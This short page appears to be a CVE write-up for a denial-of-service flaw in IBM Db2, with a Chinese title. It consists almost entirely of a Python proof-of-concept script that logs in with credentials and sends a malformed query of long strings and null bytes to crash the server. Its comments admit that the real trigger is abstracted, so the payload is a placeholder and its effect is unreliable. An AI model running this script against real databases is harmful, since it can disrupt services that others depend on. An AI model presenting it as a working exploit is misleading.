CVE-2026-1352 IBM Db2拒绝服务漏洞

# Conceptual Proof of Concept for CVE-2026-1352 # This script demonstrates the logic of sending a malformed query to trigger DoS. # It requires valid credentials (PR:L). import ibm_db import sys def trigger_dos(host, port, username, password, database): try: # Connect to the vulnerable IBM Db2 instance conn_str = f"DATABASE={database};HOSTNAME={host};PORT={port};UID={username};PWD={password};PROTOCOL=TCPIP" conn = ibm_db.connect(conn_str, "", "") print("[+] Connected to database.") # Construct a malicious payload with special elements # Note: The specific special elements causing the crash are abstracted here for safety. # This simulates the 'improper neutralization of special elements' mentioned in the CVE. malicious_query = "SELECT * FROM sysibm.sysdummy1 WHERE '" + "A" * 10000 + "' = '" + "\x00" * 100 + "'" print("[*] Sending malicious query...") stmt = ibm_db.exec_immediate(conn, malicious_query) # If the server crashes, the connection might hang or drop here. print("[-] Exploit failed or server handled the request.") except Exception as e: print(f"[!] An error occurred: {e}") finally: if 'conn' in locals() and conn: ibm_db.close(conn) if __name__ == "__main__": # Usage: python script.py <host> <port> <user> <pass> <db> trigger_dos("127.0.0.1", "50000", "db2inst1", "password", "SAMPLE")